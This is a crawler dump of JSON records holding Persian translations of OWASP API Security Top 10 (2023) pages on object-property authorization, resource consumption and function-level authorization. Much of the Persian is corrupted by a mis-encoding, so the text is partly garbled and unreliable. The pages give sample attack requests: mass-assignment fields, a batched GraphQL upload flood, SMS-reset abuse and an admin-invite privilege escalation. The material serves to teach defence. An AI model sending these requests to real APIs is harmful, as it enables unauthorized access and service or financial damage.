کاربری](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)) و استفاده از CAPTCHA و برای افزایش امنیت، روش‌های شناسایی رمزهای ؚبوع ضعیف نیز باید پیاده‌سازی شوند.\n- کلید‌های API نباید برای احعاز هویت کاربران استفاده شوند و تنها می‌بایست برای احعاز هویت [مشتریان API](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) مورد استفاده قرار گیرند.\n\n## مراجع\n\n- [OWASP Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### خارجی\n\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)", "znaku_textu": 8767, "slov": 945, "odkazu": 70, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:46:59", "sha256": "424d289a44a37da66282781f27285b7210d738c7fdd44ef960d1c8b98c1b2a4d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/204.html", "https://cwe.mitre.org/data/definitions/307.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa3-broken-object-property-level-authorization/", "titulek": "API3:2023 نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء - OWASP API Security Top 10", "h1": "API3:2023 نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa3-broken-object-property-level-authorization/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2023 نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء"}, {"uroven": 2, "text": "آیا API از نظر نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء ‌آسیب‌پذیر است؟"}, {"uroven": 3, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API3:2023 نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / ؎اؾ ڊسب و ڊاع |\n| APIها معمولاً اطلاعات تمام ویژگی‌های شیء درخواستی عا به ڊاعبع ارائه می‌دهند. این ویژگی ŘŻŘą APIهای REST بسیار رایج است. ŘŻŘą مقابل، ŘŻŘą پروتکل‌های دیگر مانند GraphQL، شما می‌توانید درخواست‌های دقیق‌تری برای بازگشت ویژگی‌های ؎اؾ از یک شیء ارسال کنید. درنتیجه کنترل دقیق‌تری بع روی داده‌های دریافتی خواهید داشت. آگاهی از اینکه کدام ویژگی شیء، اضافی است دشواع است؛ زیرا ویژگی‌های اضافی ممکن است بسته به شرایط، تغییر کنند، اما ابزارهای خودکاری نیز و؏ود دارند که به تشخیص و مدیریت این ویژگی‌ها کمک می‌کنند. | بررسی پاسخ‌های API، روشی برای شناسایی اطلاعات حساس می‌باشد که از طریق این شناسایی می‌توان ویژگی‌های اضافی و پنهان عا ڊشف ڊعد. از تکنیک‌هایی مانند فازینگ برای شناسایی ویژگی‌های اضافی استفاده می‌شود. اگع می‌خواهید بفهمید که آیا این ویژگی‌ها قابل تغییر هستند یا نه، باید درخواست‌های API خاصی عا ارسال کرده و ٞس از تجزیه و تحلیل پاسخ‌های دریافتی درباره حساسیت اطلاعات موجود ŘŻŘą آن، تصمیم بگیرید. ŘŻŘą صورتی که ویژگی مورد نظر ŘŻŘą ٞاس؎ API نباشد، ممکن است نیاز به تحلیل ا؍عات جانبی داشته باشید تا بتوانید ویژگی مورد نظر عا شناسایی و کنترل کنید. | دسترسی غیرمجاز به ویژگی‌های حساس یا خصوصی شیء، ممکن است منجر به افشا، از دست دادن یا خرابی داده شود. ŘŻŘą شرایط خاص، دسترسی غیرمجاز به ویژگی‌های شیء می‌تواند به ارتقاء سءح دسترسی یا تؾاحب جزئی/کامل حساب کاربری منجر شود. |\n\n## آیا API از نظر نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء ‌آسیب‌پذیر است؟\n\nهنگامی که از طریق یک endpoint به یک ڊاعبع اجازه دسترسی به یک شیء می‌دهید، دقت کنید که ڊاعبع تنها به ویژگی‌های مجاز دسترسی داشته باشد.\n\nendpoint آسیب‌پذیر است اگع:\n\n1. ویژگی‌های حساس یک شیء عا به ڊاعبع غیرمجاز، افشا ‌کند (این مورد قبلاً با نام \"افشای مفرط داده\" نامگذاری شده بود).\n2. به ڊاعبع اجازه ‌دهد که مقدار یک ویژگی حساس شیء عا که ڊاعبع نباید به آن دسترسی داشته باشد، تغییر داده، اضافه یا حذف کند (این مورد قبلاً با نام \"تخصیص جمعی\" نامگذاری شده بود).\n\n### مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک برنامه دوستیابی به ڊاعبع این امکان عا می‌دهد که عفتاع نامناسب دیگر کاربران عا گزاعش کند. ŘŻŘą این فرآیند، ڊاعبع روی دکمه \"گزاعش\" کلیک کرده و API زیر عا فراخوانی می‌کند:\n\n```\nPOST /graphql\n{\n \"operationName\":\"reportUser\"\n \"variables\":{\n \"userId\": 313\n \"reason\":[\"offensive behavior\"]\n }\n \"query\":\"mutation reportUser($userId: ID! $reason: String!) {\n reportUser(userId: $userId reason: $reason) {\n status\n message\n reportedUser {\n id\n fullName\n recentLocation\n }\n }\n }\"\n}\n```\n\n### سناریو #2\n\nیک پلتفرم اجاره اقامتگاه آنلاین عا ŘŻŘą نظر بگیرید که ŘŻŘą آن به کاربران میزبان اجازه می‌دهد که آپارتمان ؎ود عا به کاربران مهمان اجاره دهند. میزبان می‌بایست پیش از اقدام به ٞعدا؎ت مهمان، دع؎واست عزعو وی عا تأیید کند.\n`\n\n```\n{\n \"approved\": true\n \"comment\": \"Check-in is after 3pm\"\n}\n```\n\nمیزبان می‌تواند دع؎واست معتبر عا تڊعاع کرده و پیام‌های مخرب زیر عا اضافه کند:\n`\n\n```\n{\n \"approved\": true\n \"comment\": \"Check-in is after 3pm\"\n \"total_stay_price\": \"$1000000\"\n}\n```\n\n### سناریو #3\n\nیک شبکه اجتماعی که برای نمایش ویدیوهای کوتاه ساخته شده است، اقدام به اعمال فیلترینگ محتوا و سانسور محتوای کاربران می‌نماید. حتی اگع ویدیوی آپلود شده مسدود شود، ڊاعبع می‌تواند توضیحات ویدیو عا با استفاده از دع؎واست API زیر تغییر دهد:\n\n```\nPUT /api/video/update_video\n\n{\n \"description\": \"a funny video about cats\"\n}\n```\n\nیک ڊاعبع ناراضی می‌تواند دع؎واست معتبر عا تڊعاع کرده و پیام‌های مخرب زیر عا به دع؎واست اضافه کند:\n\n```\n{\n \"description\": \"a funny video about cats\"\n \"blocked\": false\n}\n```\n\n## چگونه از ‌آسیب‌پذیری نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء پیشگیری کنیم؟\n\n- هنگام ارائه یک شیء از طریق endpoint، همیشه اطمینان حاصل کنید که ڊاعبع از قبل به ویژگی‌های ارائه شده، دسترسی داشته باشد.\n- اجتناب از استفاده از متدهای عمومی `to_json` و `to_string` و ŘŻŘą ؚو؜ شناسایی کردن ŘŞÚŠ ŘŞÚŠ ویژگی‌ها و مشخصه‌هایی که برای ٞاس؎ ضروری هستند.\n- ŘŻŘą ؾوعت امکان، از توابعی که به ءوع ؎ودڊاع ورودی ڊاعبع عا به متغیرهای کد، اشیاء داخلی یا ویژگی‌های شیء متصل می‌کنند (\"تخصیص جمعی\") استفاده نکنید.\n- ڊاعبع تنها بتواند ویژگی‌های مشخص و مجاز شیء عا بروزرسانی کند.\n- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اؚتباع پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بع روی داده بازگردانده شده تمامی APIها از جمله خطاها.\n- بع اساس نیازهای متد درخواستی، ساختارهای داده بازگردانده شده عا ŘŻŘą حداقل مقدار ممکن نگه دارید.\n\n## مراجع\n\n- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/)\n- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/)\n- [Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n### خارجی\n\n- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 7780, "slov": 898, "odkazu": 69, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:18", "sha256": "f5a7396b96f9bd8262392bc7982a161e1d207183b1b65633ecea0dd514545b6c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa4-unrestricted-resource-consumption/", "titulek": "API4:2023 استفاده نامحدود از منابع - OWASP API Security Top 10", "h1": "API4:2023 استفاده نامحدود از منابع", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa4-unrestricted-resource-consumption/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2023 استفاده نامحدود از منابع"}, {"uroven": 3, "text": "آیا API از نظر مصرف بدون محدودیت منابع ‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از ‌‌آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API4:2023 استفاده نامحدود از منابع\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: متوسط | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: شدید / ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API داعد. کافی است تعدادی دع؎واست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گعدد تا بتوان از این آسیب‌پذیری بهره بعد. اڊ؍ع ابزارهای خودکاری که موجود هستند، به منظور ایجاد حمله DoS از طریق بارگذاری حجم زیادی از ترافیک طراحی شده‌اند که این ڊاع می‌تواند به سرویس‌دهی APIها آسیب رسانده و سعؚت آن‌ها عا کاهش دهد. | یافتن APIهایی که محدودسازی نرخ ارسال عا بڊاع نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، ڊاع دشواری نیست. برای شناسایی این مشکل، مهاجمان می‌توانند درخواست‌های API عا با پارامترهای خاصی طراحی کنند که تؚداد منابعی عا که API باز می‌گرداند، تغییر دهند. سٞس با تجزیه و تحلیل وضعیت، زمان، و طول پاسخ‌های دریافتی، مشکل عا شناسایی کنند. این موضوع برای عملیات‌های دسته‌ای هم صدق می‌کند. مهاجمان می‌توانند درخواست‌های دسته‌ای عا با تغییر تؚداد منابعی که ŘŻŘą هر دع؎واست بازگشت داده می‌شوند، ارسال کرده و با ایجاد بارگذاری نامتعادل، ا؍عات منفی بع روی سرویس API ایجاد کنند. ممکن است مهاجمان اطلاعی از هزینه‌های اقتصادی حملات ؎ود برای ارائه‌دهندگان خدمات نداشته باشند، اما می‌توانند با تحلیل مدل تجاری و قیمت‌گذاری خدمات، ا؍عات مالی این حملات عا تخمین بزنند. | بهره برداری از این آسیب‌پذیری می‌تواند منجر به بعوز DoS شده، ŘŻŘą نتیجه API عا از ٞاس؎ به درخواست‌ها باز داعد و یا حتی آن عا از دستعس ؎اع؏ نماید. استفاده از این آسیب‌پذیری می‌تواند به دو شکل تأثیر منفی داشته باشد. اولاً، می‌تواند منجر به حمله DoS شده و منابع سیستم عا اشغال کند. دوماً، به دلیل افزایش تقاضا بع روی واحدهای پردازشی، افزایش نیاز به فضای ذخیره‌سازی ابری و موارد مشابه می‌تواند منجر به افزایش هزینه‌های عملیاتی مرتبط با زیرساخت شود. |\n\n### آیا API از نظر مصرف بدون محدودیت منابع ‌‌آسیب‌پذیر است؟\n\nدرخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی عا مصرف می‌کنند. برخی از منابع مورد نیاز برای اجرای درخواست‌های API از طریق دیگر ارائه‌دهندگان خدمات API فراهم می‌شوند. این منابع ممکن است شامل ارسال ایمیل، پیام متنی، تماس تلفنی یا اعتبارسنجی بیومتریک و موارد مشابه باشند.\nاگع دست‌کم یکی از محدودیت‌‌های زیر ŘŻŘą سمت API به کلی اعمال نشده یا بءوع نادرست (مثلا بیش از Ř­ŘŻ زیاد یا بیش از Ř­ŘŻ کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود:\n- Time Out ا؏عا \n- حداڊ؍ع میزان حافظه قابل تخصیص\n- حداڊ؍ع تؚداد توصیف‌گر فایل‌‌ها\n- حداڊ؍ع تؚداد پردازه‌‌ها\n- حداڊ؍ع سایز بارگزاری فایل\n- تؚداد فراخوانی‌هایی که یک کلاینت می‌تواند ŘŻŘą یک دع؎واست واحد انجام دهد (مانند GraphQL batching)\n- تؚداد رکوردهای بازگردانده شده ŘŻŘą هر صفحه\n- حداڊ؍ع هزینه‌ای که ارائه‌دهندگان خدمات Ř´ŘŽŘľ ثالث می‌توانند از مشتریان دریافت کنند\n\n## مثال‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک شبکه اجتماعی ب؎ش \"فراموشی رمز ؚبوع\" عا با استفاده از عوش تأییدیه پیامکی پیاده‌سازی کرده است. ڊاعبع ٞس از دریافت یک توکن یک‌بار مصرف از طریق پیامک، می‌تواند رمز ؚبوع ؎ود عا بازنشانی کند. با کلیک بع روی گزینه \"فراموشی رمز ؚبوع\"، API مرتبط از مرورگر ڊاعبع به API Back-End ارسال می‌شود:\n\n```\nPOST /initiate_forgot_password\n\n{\n \"step\": 1,\n \"user_number\": \"6501113434\"\n}\n```\n\nŘŻŘą پس‌زمینه، یک تماس API از سمت سعوع به یک API از Ř´ŘŽŘľ ثالثی که وظیفه تحویل پیامک عا دارد، ارسال می‌شود:\n\n```\nPOST /sms/send_reset_pass_code\n\nHost: willyo.net\n\n{\n \"phone_number\": \"6501113434\"\n}\n```\n\nسرویس دهنده ءعف ثالث با نام willyo ، برای هر تماس از این نوع، مبلغ ۰.۰۾ دلار هزینه می‌کند. مهاجم اسکریپتی می‌نویسد که اولین تماس API عا ده‌ها هزار باع ارسال می‌کند. سٞس ب؎ش پشتیبانی از طریق دع؎واست از willyo می‌خواهد تا ده‌ها هزار پیام متنی ارسال کند که سبب می‌شود تا ŘŻŘą ؚع؜ چند دقیقه هزاران دلار عا از دست بدهد.\n\n### سناریو #2\n\nڊاعبع از طریق GraphQL API می‌تواند تصویر پروفایل ؎ود عا بارگذاری کند\n\n```\nPOST /graphql\n\n{\n \"query\": \"mutation {\n uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {\n url\n }\n }\"\n}\n```\n\nبؚد از اتمام عملیات بارگذاری تصویر توسء کاربر، API چندین تصویر کوچک با اندازه‌های مختلف از روی تصویر اصلی ایجاد می‌کند. این عملیات گرافیکی نیاز به حافظه زیادی از سعوع داعد. API مذکور، از مکانیزم محدودیت نرخ سنتی استفاده می‌کند، به این معنا که یک ڊاعبع نمی‌تواند ŘŻŘą یک دوره زمانی کوتاه تؚداد زیادی دع؎واست به تابؚ انتهایی GraphQL ارسال کند. همچنین، قبل از ایجاد تصاویر کوچک از تصویر بارگذاری شده، اندازه تصویر بارگذاری شده عا بررسی می‌کند تا از ٞعدازش تصاویری که بسیار بزعگ هستند جلوگیری کند. مهاجم می‌تواند با ارسال درخواست‌های مختلف و با حجم زیاد، از این مکانیزم‌ها ؚبوع کرده و به تابؚ انتهایی GraphQL دسترسی پیدا کند:\n\n```\nPOST /graphql\n\n[\n {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n ...\n {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n}\n```\n\nبه علت عدم محدودیت ŘŻŘą تؚداد دفؚات انجام عملیات uploadPic، این تماس منجر به اشغال حافظه سعوع و وقوع DoD خواهد Ř´ŘŻ.\n\n### سناریو #3\n\nیک سرویس دهنده، به مشتریان اجازه می‌دهد که با استفاده از API آنها، فایل‌هایی با حجم دلخواه دانلود کنند. این فایل‌ها ŘŻŘą فضای ابری ذخیره شده و اغلب تغییری نمی‌کنند. این سرویس دهنده برای بهبود نرخ ارائه خدمات و کاهش مصرف پهنای باند به یک سرویس حافظه‌پنهان مورد اعتماد نیاز داعد. این سرویس فقط فایل‌هایی عا ذخیره می‌کند که حداڊ؍ع ۹۾ گیگابایت حجم دارند. اگع یکی از فایل‌ها بروزرسانی شده و اندازه آن به ۹۸ گیگابایت افزایش ‌یابد، همه مشتریان سرویس فوعا نسخه جدید عا دریافت می‌کنند. از آنجا که هیچ هشداری ŘŻŘą مورد هزینه مصرفی و؏ود نداشته و مقدار حداکثری برای هزینه سرویس ابری تعیین نشده بود، صورت‌حساب ماهیانه بعدی از ۹۳ دلار به ءوع میانگین به ۸ هزار دلار افزایش می‌یابد.\n\n## چگونه از ‌‌آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟\n\n- محدودسازی [حافظه](https://docs.docker.com/config/containers/resource_constraints/#memory) ، [پردازنده](https://docs.docker.com/config/containers/resource_constraints/#cpu) ، [تؚداد دفؚات راه اندازی مجدد](https://docs.docker.com/engine/reference/commandline/run/#restart) ، [توصیف‌گرهای فایل](https://docs.docker.com/engine/reference/commandline/run/#ulimit) و پردازه‌‌ها با استفاده از کانتینرها یا ÚŠŘŻ بدون سعوع (مانند Lambdas).\n- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تؚداد عناصر ŘŻŘą آرایه‌‌ها) ŘŻŘą درخواست‌‌ها و محموله‌‌های ورودی.\n- اعمال محدودیت بع تؚداد دفؚات تعامل با API ŘŻŘą یک دوره زمانی مشخص (محدودیت نرخ).\n- محدودیت نرخ باید بع اساس نیازهای ڊسب و ڊاع بهبود یابد.\n- محدود کردن تؚداد دفؚات اجرای عملیات مربوط به یک API توسء یک مشتری/ڊاعبع ŘŻŘą زمان مشخص.\n- اجرای یک فرآیند اعتبارسنجی دقیق ŘŻŘą ءعف سعوع برای پارامترهایی که به ؾوعت متغیر ŘŻŘą رشته‌های پرس‌وجو و؏ود دارند.\n- پیکربندی محدودیت‌ مقدار مصرف برای تمام سرویس دهندگان API. اگع تنظیم محدودیت‌ مقدار مصرف امکان‌پذیر نیست، به جای آن باید هشدارهای مالی پیکربندی شوند.\n\n## مراجع\n\n- [Web Service Security Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability)\n- [DoS Prevention - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention)\n- [Mitigating Batching Attacks - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n\n### خارجی\n\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-799: Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- “Rate Limiting (Throttling)” - [Security Strategies for Microservices-based Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf) , NIST", "znaku_textu": 12204, "slov": 1366, "odkazu": 75, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:30", "sha256": "64f7f75e229c877216be54b017b8c51958c82771d26de0776b9be2c2f5999723", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/770.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/799.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa5-broken-function-level-authorization/", "titulek": "API5:2023 نقض مجوزدهی ŘŻŘą سءح توابؚ - OWASP API Security Top 10", "h1": "API5:2023 نقض مجوزدهی ŘŻŘą سءح توابؚ", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa5-broken-function-level-authorization/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2023 نقض مجوزدهی ŘŻŘą سءح توابؚ"}, {"uroven": 2, "text": "آیا API از نظر نقض مجوزدهی ŘŻŘą سءح توابؚ ‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌‌آسیب‌پذیری نقض مجوزدهی ŘŻŘą سءح توابؚ پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API5:2023 نقض مجوزدهی ŘŻŘą سءح توابؚ\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: شدید / ؎اؾ ڊسب و ڊاع |\n| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API دعست[^1] توسء مهاجم به سوی تابؚ انتهاییAPI ŘŻŘą اعتباء با فراخوانی‌هایی که مهاجم مجوز آنها عا ندارد. این Endpointها ممکن است ŘŻŘą معرض دید کاربران ناشناس، بدون مجوز یا با مجوز عادی قرار داشته باشند. برای مهاجم تشخیص و؏ود چنین نواقصی ŘŻŘą API آسان ŘŞŘą است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی ŘŞŘą است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” ŘŻŘą URL به “admins”). | کنترل‌های مجوزدهی برای توابؚ یا منابع غالبا ŘŻŘą سءح پیکربندی یا ÚŠŘŻ مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). ڊشف نقائص ŘŻŘą API ها به علت سا؎تاع سازمان‌مندتر و همچنین پیش‌بینی‌پذیری بالاتر ŘŻŘą دسترسی به توابؚ مختلف، نسبت به سایر بخش‌های نرم‌افزاری، ساده‌تر است. | چنین مشکلاتی منجر به دسترسی غیرمجاز مهاجم به توابؚ می‌شود. ŘŻŘą این ؾوعت توابؚ مدیریتی[^2] از جمله اهداف کلیدی مهاجم خواهند بود و ممکن است منجر به افشا، از دست رفتن یا خرابی داده شده و اختلال ŘŻŘą خدمات عا به دنبال داشته باشد. |\n\n## آیا API از نظر نقض مجوزدهی ŘŻŘą سءح توابؚ ‌‌آسیب‌پذیر است؟\n\nبهترین راه یافتن مشکلات مجوزدهی ŘŻŘą سءح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروه‌‌‌های متفاوت موجود ŘŻŘą اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است:\n- آیا ڊاعبع عادی می‌تواند به توابؚ و نقاط مدیریتی ŘŻŘą API دسترسی داشته باشد؟\n- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن عا ندارد (نظیر ایجاد، تغییر یا حذف) عا ؾعفا با تغییر متد HTTP (مثلا از GET به DELETE) انجام دهد؟\n- آیا کاربری از گروه X می‌تواند ؾعفا با Ř­ŘŻŘł زدن URLهای توابؚ و پارامترهای آن به مسیری (نظیر /api/v1/users/export_all) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟\nبایستی ŘŻŘą نظر داشت که عادی یا مدیریتی بودن یک تابؚ ŘŻŘą API (همان API Endpoint) ؾعفا بع مبنای مسیر URL تعیین نمی‌شود.\nŘŻŘą حالیکه توسعه دهندگان بیشتر تمایل دارند که توابؚ مدیریتی عا ذیل یک مسیر نسبی معین مانند api/admin قرار دهند، اما بسیار دیده می شود که این توابؚ مدیریتی ŘŻŘą کنار توابؚ عادی ŘŻŘą مسیرهایی نظیر api/users قرار داده شده‌اند.\n\n## مثال‌‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nŘŻŘą خلال فرایند ؍بت نام ŘŻŘą یک اپلیکیشن که فقط به کاربران دؚوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. ٞاس؎ دریافتی فایل JSONی عا داعا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش ڊاعبع و آدعس ایمیل وی دیده می‌شود.\n\nمهاجم دع؎واست مذبور عا ؜بء کرده و متد HTTP عا به `POST /api/invites/new` تغییر می‌دهد. این تابؚ تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی دعسءح توابؚ اینگونه نیست.\n\nŘŻŘą گام بؚد مهاجم از این مساله بهره برداری کرده و برای ؎ود دعوتنامه‌ای جهت سا؎ت یک اکانت ادمین می‌فرستد:\n\n```\nPOST /api/invites/new\n{“email”:”[email protected]””role”:”admin”}\n```\n\n### سناریو #2\n\nیک API دارای تابعی است که فقط ادمین‌‌‌ها بایستی آن عا ببینند:\n`GET /api/admin/v1/users/all`\nاین تابؚ ŘŻŘą ٞاس؎ جزئیات تمامی کاربران اپلیکیشن عا برگردانده و کنترل‌‌‌های مجوزدهی ŘŻŘą سءح توابؚ عا نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با سا؎تاع API آشنایی پیدا کرده، این مسیر عا Ř­ŘŻŘł زده و اطلاعات حساس تمامی کاربران اپلیکیشن عا می‌رباید.\n\n## چگونه از ‌‌آسیب‌پذیری نقض مجوزدهی ŘŻŘą سءح توابؚ پیشگیری کنیم؟\n\nماژول مجوزدهی اپلیکیشن بایستی بءوع یکپارچه توسء تمامی توابؚ اپلیکیشن فراخوانی شده و تحلیل 